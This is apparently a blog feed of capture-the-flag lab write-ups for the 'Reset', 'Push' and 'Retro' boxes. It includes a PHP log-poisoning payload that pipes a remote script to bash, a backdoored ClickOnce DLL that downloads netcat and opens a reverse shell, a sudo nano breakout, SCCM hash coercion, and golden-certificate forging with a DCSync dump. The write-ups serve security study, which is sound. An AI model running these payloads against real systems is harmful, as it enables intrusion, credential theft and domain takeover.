<p>So I threw in a standard Linux LFI wordlist and got some hits:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754029437615/4e6273f7-3f80-4fa4-b339-2e1b5b387cbc.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-poisoning-logs"><strong>Poisoning Logs</strong></h2>
<p>From what I saw, the dashboard was reading log files like <strong>syslog</strong> and <strong>auth.log</strong>, so I decided to try log poisoning.</p>
<p>Used this:</p>
<pre><code class="lang-bash">curl -A <span class="hljs-string">"&lt;?php system('curl 10.10.14.61/rev.sh|bash'); ?&gt;"</span> http://10.129.184.161/
</code></pre>
<p>Then accessed the log via LFI like this:</p>
<pre><code class="lang-bash">file=../../../../../../../var/<span class="hljs-built_in">log</span>/apache2/access.log
</code></pre>
<p>And got a shell!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754029468663/e7d59685-3ccb-4f79-9578-d057966720dc.png" alt class="image--center mx-auto" /></p>
<p>We can <code>cat</code> the <code>user.txt</code> file as <strong>www-data</strong>, located at <code>/home/sadm/user.txt</code>.</p>
<p>While exploring, I noticed that <strong>sadm</strong> was listed as a trusted user. We can see that <strong>rlogin</strong> is set up through the <code>/etc/hosts.equiv</code> file, and that file is present on the box.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754029488965/f3cc8492-2dec-4e5f-b732-9eb001b2eb22.png" alt class="image--center mx-auto" /></p>
<p><a target="_blank" href="https://myhack.tech/img/reset-writeup/005.png">  
</a>Another interesting thing is that we can see the user <strong>sadm</strong> has an active <strong>tmux</strong> session.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754029495287/ad66067a-9838-4995-9992-dce13f42f271.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-sadm-user-rlogin"><strong>SADM USER | RLOGIN</strong></h1>
<p>To use <strong>rlogin</strong>, I saw that <code>sadm</code> was listed as a trusted user in <code>/etc/hosts.equiv</code>. So locally I created a user with the same name:</p>
<pre><code class="lang-bash">sudo useradd sadm
sudo passwd sadm

su sadm
rlogin 10.129.184.161
</code></pre>
<p>Logged in without password!</p>
<h2 id="heading-tmux-session"><strong>TMUX Session</strong></h2>
<p>I had already noticed that there was a <strong>tmux</strong> session running as <code>sadm</code>. For those who don’t know, tmux lets you have multiple terminal windows in one session and stay connected even if you close the shell:</p>
<pre><code class="lang-bash">tmux ls
sadm_session: 1 windows (created Wed Jul 16 03:25:31 2025)
</code></pre>
<pre><code class="lang-bash">tmux a -t sadm_session
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754029526928/8200920c-d49a-4500-9ec9-48a8d0b64378.png" alt class="image--center mx-auto" /></p>
<p>And.. we got sadm password!</p>
<blockquote>
<p><mark>Password: </mark> <code>7lE2PAfVHfjz4HpE</code></p>
</blockquote>
<h1 id="heading-privesc-to-root"><strong>PrivEsc to ROOT</strong></h1>
<p>Logged in as <code>sadm</code> using the found password. Checked for sudo rights:</p>
<pre><code class="lang-bash">sadm@reset:~$ sudo -l
Matching Defaults entries <span class="hljs-keyword">for</span> sadm on reset:
    env_reset, timestamp_timeout=-1, mail_badpass, secure_path=/usr/<span class="hljs-built_in">local</span>/sbin\:/usr/<span class="hljs-built_in">local</span>/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User sadm may run the following commands on reset:
    (ALL) PASSWD: /usr/bin/nano /etc/firewall.sh
    (ALL) PASSWD: /usr/bin/tail /var/<span class="hljs-built_in">log</span>/syslog
    (ALL) PASSWD: /usr/bin/tail /var/<span class="hljs-built_in">log</span>/auth.log
</code></pre>
<p>The fact that I could run <strong>nano</strong> as sudo was perfect, just a classic breakout opportunity :D</p>
<pre><code class="lang-bash">sudo /usr/bin/nano /etc/firewall.sh

<span class="hljs-comment"># Inside nano:</span>
Ctrl + R
Ctrl + X

reset; sh 1&gt;&amp;0 2&gt;&amp;0
</code></pre>
<p>Alternative method I tried:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754029577557/b1b42569-6889-43f2-94b3-df72f17a64e7.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">cp /bin/bash /tmp/bash &amp;&amp; chmod +xs /tmp/shaka
<span class="hljs-built_in">cd</span> /tmp/
./shaka -p
</code></pre>
<p>And got root access:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754029588920/c81c7ab7-713f-4328-bf8d-e8e15a501e57.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p>Pwned!</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Push - Writeup (Vulnlab)]]></title><description><![CDATA[NMAP & INFO
Backdooring a ClickOnce deployment, which led to code execution. 
SCCM Client Push Coercion to capture NTLM hashes, privesc using ADCS by forging a certificate 
and abusing it with PassTheCert to grant DCSync rights.


DC01.push.vl


53/t...]]></description><link>https://myhack.tech/push-writeup-vulnlab</link><guid isPermaLink="true">https://myhack.tech/push-writeup-vulnlab</guid><category><![CDATA[push]]></category><category><![CDATA[Writeup]]></category><category><![CDATA[vulnlab]]></category><dc:creator><![CDATA[shkz]]></dc:creator><pubDate>Wed, 25 Jun 2025 03:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754028607194/c0c8cecc-f160-43d5-ae16-d66d2c06ca2c.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-nmap-amp-info"><strong>NMAP &amp; INFO</strong></h2>
<pre><code class="lang-bash">Backdooring a ClickOnce deployment, <span class="hljs-built_in">which</span> led to code execution. 
SCCM Client Push Coercion to capture NTLM hashes, privesc using ADCS by forging a certificate 
and abusing it with PassTheCert to grant DCSync rights.
</code></pre>
<ul>
<li><h2 id="heading-dc01pushvl">DC01.push.vl</h2>
</li>
</ul>
<pre><code class="lang-bash">53/tcp   open  domain        Simple DNS Plus  
80/tcp   open  http          Microsoft IIS httpd 10.0  
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos  
135/tcp  open  msrpc         Microsoft Windows RPC  
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn  
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP  
443/tcp  open  https         SSL/TLS (likely IIS)  
445/tcp  open  microsoft-ds  SMB file sharing  
464/tcp  open  kpasswd5      Kerberos password change  
593/tcp  open  ncacn_http    RPC over HTTP  
636/tcp  open  ssl/ldap      LDAP over SSL  
3268/tcp open  ldap          Global Catalog LDAP  
3269/tcp open  ssl/ldap      Global Catalog LDAPS  
3389/tcp open  ms-wbt-server Microsoft Remote Desktop (RDP)  
5985/tcp open  http          WinRM (Windows Remote Management)
</code></pre>
<ul>
<li><h2 id="heading-ms01pushvl"><strong>MS01.push.vl</strong></h2>
</li>
</ul>
<pre><code class="lang-bash">21/tcp   open  ftp           Microsoft ftpd (anonymous login allowed)  
80/tcp   open  http          Microsoft IIS httpd 10.0 (SelfService page)  
135/tcp  open  msrpc         Microsoft Windows RPC  
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn  
445/tcp  open  microsoft-ds  SMB file sharing  
3389/tcp open  ms-wbt-server Microsoft Remote Desktop (RDP)  
5985/tcp open  http          WinRM (Windows Remote Management)
</code></pre>
<h1 id="heading-foothold"><strong>FOOTHOLD</strong></h1>
<p>In our basic recon, I found that the IP address <strong>10.10.217.101</strong> corresponds to the Domain Controller <strong>DC01.push.vl</strong>. The second IP address, <strong>10.10.217.102</strong>, resolves to <strong>MS01.push.vl</strong>.</p>
<p>I tried bruteforcing for valid users with kerbrute, but had no luck:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754027501532/5be52f6a-f1a0-4dcf-93a2-32024471ee0a.png" alt class="image--center mx-auto" /></p>
<p>With nothing else immediately promising, I decided to focus on <strong>MS01</strong>, since NMAP shows that the <em>FTP</em> service <strong>allows ANONYMOUS login</strong>.</p>
<h2 id="heading-ms01-ftp-anonymous"><strong>MS01 | FTP | Anonymous</strong></h2>
<p>We log in as the anonymous user on <strong>MS01</strong> FTP service, and we see four directories available:</p>
<pre><code class="lang-bash">ftp anonymous@10.10.217.102
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754027519554/a13c32c6-6264-4062-930d-6005f23377ec.png" alt class="image--center mx-auto" /></p>
<p>Three of the folders are empty, except for the <strong>.git-credentials</strong>. We download it and recover credentials for <strong>olivia.wood</strong>.</p>
<h2 id="heading-smb-enum-oliviawood"><strong>SMB Enum | olivia.wood</strong></h2>
<p>I enumerate shares and permissions using netexec and get the following:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754027694841/915d800e-c450-4d20-bebf-581ff9093fe1.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-the-wwwroot-share-on-ms01-has-readwrite-permissions-i-connect-to-it-using-smbclientpyhttpsmbclientpy">The <strong>wwwroot</strong> share on <strong>MS01</strong> has <strong>read/write</strong> permissions. I connect to it using <a target="_blank" href="http://smbclient.py"><code>smbclient.py</code></a>:</h2>
<pre><code class="lang-bash">smbclient.py push.vl/olivia.wood:<span class="hljs-string">'&lt;REDACTED&gt;'</span>@10.10.217.102
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754027767444/768c2ece-ee36-4a9f-9933-7e41b6f767a0.png" alt class="image--center mx-auto" /></p>
<p>Here is what I get when I list the contents. At first glance, there’s a folder named <code>SelfService_1_0_0_5</code>, and inside it, we find several <code>.deploy</code> files along with some DLLs..</p>
<p>Looks like this could be the deployed version of some .NET application and possibly the one running on the web interface.</p>
<ul>
<li><a target="_blank" href="http://ms01.push.vl/"><em>http://MS01.push.vl</em></a></li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754027781516/2e566b9c-7c2d-42ef-9fb8-f3f2045a5a28.png" alt class="image--center mx-auto" /></p>
<p>If I quickly check and create a file called <code>testing.html</code> with the text “pepe”, I should be able to see it reflected on port 80. Let’s see:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754027788152/a2a15e58-411f-4331-bd1d-46eb430f3769.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754027790889/a9b55d80-ec1e-4b4c-89cb-9654f615c4f6.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-what-is-clickonce"><strong>What is ClickOnce?</strong></h2>
<p>ClickOnce is a <em>Microsoft deployment technology</em> that allows users to install and run applications directly from a browser with a single click, without needing admin privileges. It’s often used in enterprise environments, but can also be abused to execute malicious code.</p>
<p>If I check the <code>last-run.txt</code>, I can see the execution time updates. First it shows 4:41, then 4:45, confirming the app logs each run.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754027808534/09f83d96-a202-4241-861f-d31311cd1ba0.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754027814667/076f5e3f-79a5-4888-935f-cd5dfb7c454c.png" alt class="image--center mx-auto" /></p>
<p>Based on the initial hints, this <a target="_blank" href="https://infosecwriteups.com/backdooring-clickonce-net-for-initial-access-a-practical-example-1eb6863c0579">blog post</a> <a target="_blank" href="https://infosecwriteups.com/backdooring-clickonce-net-for-initial-access-a-practical-example-1eb6863c0579">can help</a> us backdoor the ClickOnce app served over SMB. A user runs it every 3 o 4 minutes, so once modified, it should execute shortly after.</p>
<h2 id="heading-clickonce-abuse"><strong>ClickOnce Abuse</strong></h2>
<p>According to the blog and summarizing the steps, here’s what we need to do to make it work.<br />I mounted the share under <code>/mnt/ctf/</code> to work more comfortably.</p>
<ul>
<li><p>First, we patch the <code>SelfService.dll.deploy</code> with our payload and calculate its new SHA256 hash and size.</p>
</li>
<li><p>Second, we update the <code>SelfService.dll.manifest</code> with those values, remove the <code>publisherIdentity</code> and signature block, and set the <code>publicKeyToken</code> to all zeroes.</p>
</li>
<li><p>Finally, we update the <code>SelfService.application</code> manifest in the same way, adjusting the hash and size of the <code>.manifest</code>, and stripping the signature stuff there too.</p>
</li>
</ul>
<p>Once that’s done, the app should execute our modified DLL without complaining.</p>
<p>Let’s go with our payload:</p>
<pre><code class="lang-bash"><span class="hljs-comment">#include &lt;windows.h&gt;</span>
<span class="hljs-comment">#include &lt;stdlib.h&gt;</span>

void <span class="hljs-function"><span class="hljs-title">dropper</span></span>() {
    char cmd1[] = <span class="hljs-string">"curl http://10.8.0.147/nc.exe -o C:\\ProgramData\\svchost.exe"</span>;
    char cmd2[] = <span class="hljs-string">"C:\\ProgramData\\svchost.exe 10.8.0.147 9000 -e cmd.exe"</span>;
    WinExec(cmd1, SW_HIDE);
    Sleep(1200);
    WinExec(cmd2, SW_HIDE);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    <span class="hljs-keyword">if</span> (fdwReason == DLL_PROCESS_ATTACH) {
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)dropper, NULL, 0, NULL);
    }
    <span class="hljs-built_in">return</span> TRUE;
}
</code></pre>
<p><em>This drops</em> <code>nc.exe</code> into <code>C:\ProgramData\</code> and runs it to establish a reverse shell to our listener.</p>
<p>We compile it as a DLL using:</p>
<pre><code class="lang-bash">x86_64-w64-mingw32-gcc -o SelfService.dll.deploy SelfService.c -shared
<span class="hljs-comment"># SelfService.dll.deploy</span>
</code></pre>
<p>Then.. we calculate the SHA256 digest and update both the hash and the file size in the <code>SelfService.dll.manifest</code>:</p>
<pre><code class="lang-bash">openssl dgst -binary -sha256 SelfService.dll.deploy | openssl enc -base64
<span class="hljs-comment"># wZWYtmlLFTb2a7/Y7e7b+Yh6dOQ7lB9zRoBXXXtmGHs=</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754027872842/492f9cad-2c37-4c09-9f54-1a113c6503dd.png" alt class="image--center mx-auto" /></p>
<p>Now we need to replace the <code>publicKeyToken=</code> found in <code>&lt;asmv1:assemblyIdentity</code> with 16 zeroes:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754027885311/221c51a4-2263-4047-86ba-259bba1d9f33.png" alt class="image--center mx-auto" /></p>
<p>We also need to update the <code>DigestValue</code> and size for <code>SelfService.dll.manifest</code> inside the <code>SelfService.application</code> file, and set the <code>publicKeyToken</code> to all zeroes:</p>
<pre><code class="lang-bash">openssl dgst -binary -sha256 SelfService.dll.manifest | openssl enc -base64
<span class="hljs-comment"># 5+DEk6lBbruFSY8utYzVUbmv9jEeZ0ErxZpMdREbiCo=</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754027897846/c68757a1-760f-4349-8eb9-975c6a644b19.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754027901973/c6b7dc69-b63e-4172-ba0f-a27c8b99ddaa.png" alt class="image--center mx-auto" /></p>
<p>Once that’s done, all that’s left is to upload the modified files and start our netcat listener along with a simple python http server.</p>
<p>Then just wait two minutes in my case.. and..</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754027915429/20c179b0-568c-40f8-be56-2fc447fcf45c.png" alt class="image--center mx-auto" /></p>
<p>And there it is..we got a shell! :). We’re now inside as <code>kelly.hill</code> user, running from the ClickOnce path under <code>AppData\Local\Apps</code>.</p>
<h2 id="heading-kellyhill-flagtxt"><strong>Kelly.Hill | flag.txt</strong></h2>
<p>Now, if we move into kelly’s home directory, we find a similar situation: there’s a <code>.git-credential</code> file, and by reading it, we can extract her password.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754027931897/31871209-0f76-4148-b20d-f0d54ba2f162.png" alt class="image--center mx-auto" /></p>
<p>And we get our <strong>flag.txt</strong>:</p>
<pre><code class="lang-bash">PS C:\users\kelly.hill\Desktop&gt; <span class="hljs-built_in">type</span> flag.txt
</code></pre>
<h2 id="heading-bloodhound-time"><strong>Bloodhound Time</strong></h2>
<p>After some enum, <strong>kelly.hill</strong> has pretty limited permissions. She’s part of basic groups like <code>Users</code>, <code>Remote Desktop Users</code>, and <code>staff</code>, nothing elevated. No admin rights, and just default privileges.</p>
<p>But.. some interesting with <strong>sccadmin</strong> shows up as a local admin, but I don’t have access to its home folder or permissions. Definitely a “key” user!.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754027960225/59632753-ec2b-4abb-84b7-230ae0987039.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754027963643/931bab06-9d7a-4d9e-87ac-7132d12074a2.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754027967623/e20510f7-9721-4278-bb14-976f04e69887.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-sccm-system-center-configuration-manager"><strong>SCCM | System Center Configuration Manager</strong></h2>
<p>Let’s pause for a second and give some quick context for those not familiar.</p>
<p><strong>SCCM</strong> is a Microsoft tool used a lot in corporate environments. Basically, it helps IT teams manage all the devices in a network, like pushing software, deploying updates, applying policies, or even controlling some access.</p>
<p>If you’re inside a company and your PC suddenly installs stuff or changes config without you touching anything… yeah!, that’s probably <strong>SCCM</strong> doing its thing :D.</p>
<h2 id="heading-sccm-coercion-attack"><strong>SCCM Coercion Attack</strong></h2>
<p>A good reference for this is the following post:<br /><a target="_blank" href="https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a">https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a</a></p>
<p>We are going to try an <strong>SCCM coercion</strong> to steal a hash. With <strong>SharpSCCM</strong> we can trigger a <strong>Client Push Installation</strong> and force the SCCM service account to authenticate to us. That account usually has local <strong>Admin Rights!</strong>.</p>
<pre><code class="lang-bash">.\SharpSCCM.exe invoke client-push -t 10.8.0.147 -sc HQ0 -mp DC01.push.vl
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754028006761/ba2f8a89-6f39-4db0-9851-50d4eeb363a9.png" alt class="image--center mx-auto" /></p>
<p>After running the coercion with SharpSCCM, we instantly capture the hashes for sccadmin:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754028016627/c00a8533-62cc-4eac-8346-a18dbdcd824c.png" alt class="image--center mx-auto" /></p>
<p>Now we just need to crack it with hashcat:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754028065680/66d425d8-6844-468c-b62e-c4830edd2266.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-sccadmin-flagtxt"><strong>SCCADMIN | flag.txt</strong></h2>
<p>Nice the password is cracked and now we can log in as <strong>sccadmin</strong> and cat the flag from the Administrator’s desktop:</p>
<pre><code class="lang-bash">PS C:\users\Administrator&gt; <span class="hljs-built_in">type</span> Desktop\flag.txt
</code></pre>
<h2 id="heading-adcs-golden-certificate"><strong>ADCS | Golden Certificate</strong></h2>
<p>Looking a bit closer at the BloodHound graph, we can clearly see that <strong>ADCS</strong> is present!</p>
<p>Since we have <strong>RDP</strong> access as <code>sccadmin</code>, we can start enumerating the Certification Authority from inside to see what we can do with it…</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754028086991/c6173757-7aad-433d-af4b-298b934b3586.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754028090620/e9b035c7-c27c-4238-b620-d4400a8dc487.png" alt class="image--center mx-auto" /></p>
<p>At this point we’ve got admin access on the CA server, so we’re in a really good spot!!.<br />The move here is going for a <strong>Golden Certificate</strong>. Since we can dump the CA cert and its private key, that gives us the power to forge a legit certificate for any user, even a domain admin.</p>
<p>After checking Certipy’s post-exploitation guide from their official wiki (<a target="_blank" href="https://github.com/ly4k/Certipy/wiki/07-Post-Exploitation">https://github.com/ly4k/Certipy/wiki/07-Post-Exploitation</a>), we can do this pretty easily:</p>
<p>We’ll use Certipy to back up the CA certificate and its private key.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754028099359/e30b50c1-b8c4-4d19-b1d3-2d56ea21aa8a.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">certipy ca -u sccadmin -p <span class="hljs-string">'&lt;REDACTED&gt;'</span> -ns 10.10.217.102 -target-ip MS01.push.vl -backup

<span class="hljs-comment"># Certipy v5.0.2 - by Oliver Lyak (ly4k)</span>

[*] Creating new service <span class="hljs-keyword">for</span> backup operation
[*] Creating backup
[*] Retrieving backup
[*] Got certificate and private key
[*] Backing up original PFX/P12 to <span class="hljs-string">'pfx.p12'</span>
[*] Backed up original PFX/P12 to <span class="hljs-string">'pfx.p12'</span>
[*] Saving certificate and private key to <span class="hljs-string">'CA.pfx'</span>
[*] Wrote certificate and private key to <span class="hljs-string">'CA.pfx'</span>
[*] Cleaning up
</code></pre>
<p>Now that we have the certificate and private key, we can generate a forged cert with domain admin privileges:</p>
<pre><code class="lang-bash">certipy forge -ca-pfx CA.pfx -upn administrator@push.vl -subject <span class="hljs-string">'CN=Administrator,CN=Users,DC=PUSH,DC=VL'</span>

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Saving forged certificate and private key to <span class="hljs-string">'administrator_forged.pfx'</span>
[*] Wrote forged certificate and private key to <span class="hljs-string">'administrator_forged.pfx'</span>
</code></pre>
<h2 id="heading-issues-what-went-wrong"><strong>Issues? What went wrong?</strong></h2>
<pre><code class="lang-bash">certipy auth -pfx administrator_forged.pfx -dc-ip 10.10.217.101
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754028128518/d6a232dc-fce4-448e-b275-59c125ada2ef.png" alt class="image--center mx-auto" /></p>
<p>So, what’s the deal here?.. Even though we managed to forge the Golden Certificate just fine, when trying to request a TGT using PKINIT… nothing!!. <strong>Looks like the DC doesn’t support PKINIT.</strong></p>
<p><strong>PKINIT</strong> is a <strong>Kerberos extension</strong> that lets you use <strong>X.509</strong> certificates for pre-auth. It’s super handy because it allows us to get a TGT or even the NT hash of a user just by using a certificate, no password needed :). But yeah, that option’s off the table! :(</p>
<p>There’s a great post that explains this kind of situation, where PKINIT isn’t supported <a target="_blank" href="https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html">https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html</a>, but you still have the cert. I’m going to use <strong>PassTheCert</strong> (<a target="_blank" href="https://github.com/AlmondOffSec/PassTheCert/tree/main/Python">https://github.com/AlmondOffSec/PassTheCert/tree/main/Python</a>) to give DCSync rights to <strong>sccadmin</strong>.</p>
<h1 id="heading-root"><strong>ROOT</strong></h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754028149483/67d266f9-7fc7-4b33-883e-5162aac58922.png" alt class="image--center mx-auto" /></p>
<p>I extracted the cert and key from the forged PFX file, then used <strong>PassTheCert</strong> to give DCSync rights to <code>sccadmin</code>. With that in place, I dumped the NTDS and hash for <code>administrator</code> access!.</p>
<pre><code class="lang-bash">certipy cert -pfx administrator_forged.pfx -nokey -out administrator.crt
certipy cert -pfx administrator_forged.pfx -nocert -out administrator.key
</code></pre>
<pre><code class="lang-bash">passthecert.py -action modify_user -crt administrator.crt -key administrator.key -domain push.vl -dc-ip 10.10.217.101 -target sccadmin -elevate

<span class="hljs-comment"># [*] Granted user 'sccadmin' DCSYNC rights!</span>
</code></pre>
<pre><code class="lang-bash">nxc smb 10.10.217.101 -u <span class="hljs-string">'SCCADMIN'</span> -p <span class="hljs-string">'&lt;REDACTED&gt;'</span> --ntds --user administrator
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754028168669/ab6f21b8-9531-4c96-8401-98bb2e6375a3.png" alt class="image--center mx-auto" /></p>
<p>Flag captured, box pwned!,<br />Thanks for reading.</p>
]]></content:encoded></item><item><title><![CDATA[Retro - Writeup (VulnLab & HackTheBox)]]></title><description><![CDATA[██████╗░███████╗████████╗██████╗░░█████╗░
██╔══██╗██╔════╝╚══██╔══╝██╔══██╗██╔══██╗
██████╔╝█████╗░░░░░██║░░░██████╔╝██║░░██║
██╔══██╗██╔══╝░░░░░██║░░░██╔══██╗██║░░██║
██║░░██║███████╗░░░██║░░░██║░░██║╚█████╔╝
╚═╝░░╚═╝╚══════╝░░░╚═╝░░░╚═╝░░╚═╝░╚════╝...]]></description><link>https://myhack.tech/retro-writeup-vulnlab-and-hackthebox</link><guid isPermaLink="true">https://myhack.tech/retro-writeup-vulnlab-and-hackthebox</guid><category><![CDATA[retro]]></category><category><![CDATA[Writeup]]></category><category><![CDATA[vulnlab]]></category><category><![CDATA[#HackTheBox]]></category><dc:creator><![CDATA[shkz]]></dc:creator><pubDate>Wed, 25 Jun 2025 03:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754029214861/2660dc85-725d-4392-8b52-57baa3bff6b4.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<pre><code class="lang-bash">██████╗░███████╗████████╗██████╗░░█████╗░
██╔══██╗██╔════╝╚══██╔══╝██╔══██╗██╔══██╗
██████╔╝█████╗░░░░░██║░░░██████╔╝██║░░██║
██╔══██╗██╔══╝░░░░░██║░░░██╔══██╗██║░░██║
██║░░██║███████╗░░░██║░░░██║░░██║╚█████╔╝
╚═╝░░╚═╝╚══════╝░░░╚═╝░░░╚═╝░░╚═╝░╚════╝░

-----------------------------------------
Easy box with SMB null session <span class="hljs-keyword">for</span> initial foothold, 
RID bruteforce to get hints of a machine account, 
password reset, and ESC1 abuse through ADCS to escalate to Domain Admin.
</code></pre>
<h1 id="heading-nmap-amp-info"><strong>❄️ NMAP &amp; INFO</strong></h1>
<pre><code class="lang-bash">53     → domain (Simple DNS Plus)  
88     → kerberos-sec (Microsoft Windows Kerberos)  
135    → msrpc (Microsoft Windows RPC)  
139    → netbios-ssn (Microsoft Windows netbios-ssn)  
389    → ldap (Microsoft Windows Active Directory LDAP)  
445    → microsoft-ds?  
464    → kpasswd5?  
593    → ncacn_http (Microsoft Windows RPC over HTTP 1.0)  
636    → ssl/ldap (Microsoft Windows Active Directory LDAP)  
3268   → ldap (Microsoft Windows Active Directory LDAP)  
3269   → ssl/ldap (Microsoft Windows Active Directory LDAP)  
3389   → ms-wbt-server (Microsoft Terminal Services)
</code></pre>
<h1 id="heading-foothold"><strong>❄️ FOOTHOLD</strong></h1>
<p>Since we don’t have any credentials yet, I started by bruteforcing Kerberos usernames using <strong>kerbrute</strong>, which revealed two valid accounts:</p>
<ul>
<li><p><code>guest@retro.vl</code></p>
</li>
<li><p><code>administrator@retro.vl</code></p>
</li>
</ul>
<p>An attempt at an RPC null session didn’t give me anything useful. So instead, I tried an SMB null session, this time assuming the <code>guest</code> account might allow anonymous access.</p>
<p>That folder Trainees looks interesting, we got Read permissions:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754028857503/a5347765-c59f-418d-9602-95c09c1d231f.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-smb-null-session"><strong>SMB | Null Session</strong></h2>
<p>Using <a target="_blank" href="http://smbclient.py"><strong>smbclient.py</strong></a>:</p>
<pre><code class="lang-bash">smbclient.py DC.retro.vl/guest:<span class="hljs-string">''</span>@10.129.172.145
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754028878406/89c25b7a-04c9-4c3c-8b71-05baee823451.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754028881420/ca462c56-09d2-4969-b0ae-2a9ddae603c0.png" alt class="image--center mx-auto" /></p>
<p>After reading that note in the smb share, I tried to enumerate system accounts using RID bruteforcing with netexec:</p>
<pre><code class="lang-bash">nxc smb 10.129.172.145 -u guest -p <span class="hljs-string">''</span> --rid-brute
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754029021751/1aead939-8ed6-4cdb-a7a5-6bdca98ac6a9.png" alt class="image--center mx-auto" /></p>
<p>I built a list of possible usernames and ran a brute-force attack, which gave me valid credentials/access..</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754029028293/bf21510e-fe28-4cdc-ac8f-9117cb2fca98.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-smb-trainee-flagtxt"><strong>SMB | Trainee | flag.txt</strong></h2>
<p>If I enumerate again using the newly obtained credentials, we get access to a new shared resource called <strong>Notes</strong>, where we have read permissions. If we connect via SMB, we’ll find two files:</p>
<ul>
<li><p><code>user.txt</code> (our flag.txt)</p>
</li>
<li><p><code>ToDo.txt</code></p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754029059769/05414190-8559-40ab-ad3b-17634c266e13.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-bloodhound-time"><strong>Bloodhound Time</strong></h2>
<p>  After reading the <strong>ToDo.txt</strong> file, I run an enumeration with <strong>bloodhound-python</strong> to visualize all possible objects in the AD:</p>
</li>
</ul>
<pre><code class="lang-bash">bloodhound-python -u <span class="hljs-string">'trainee'</span> -p <span class="hljs-string">'&lt;REDACTED&gt;'</span> -ns 10.129.172.145 -d <span class="hljs-string">'retro.vl'</span> -c all --dns-tcp --zip
</code></pre>
<p>Based on the hint mentioning an old pre-created machine account, I found a computer object named <code>BANKING.RETRO.VL</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754029086058/0c542cf9-b97e-4188-99fc-d91d19799e98.png" alt class="image--center mx-auto" /></p>
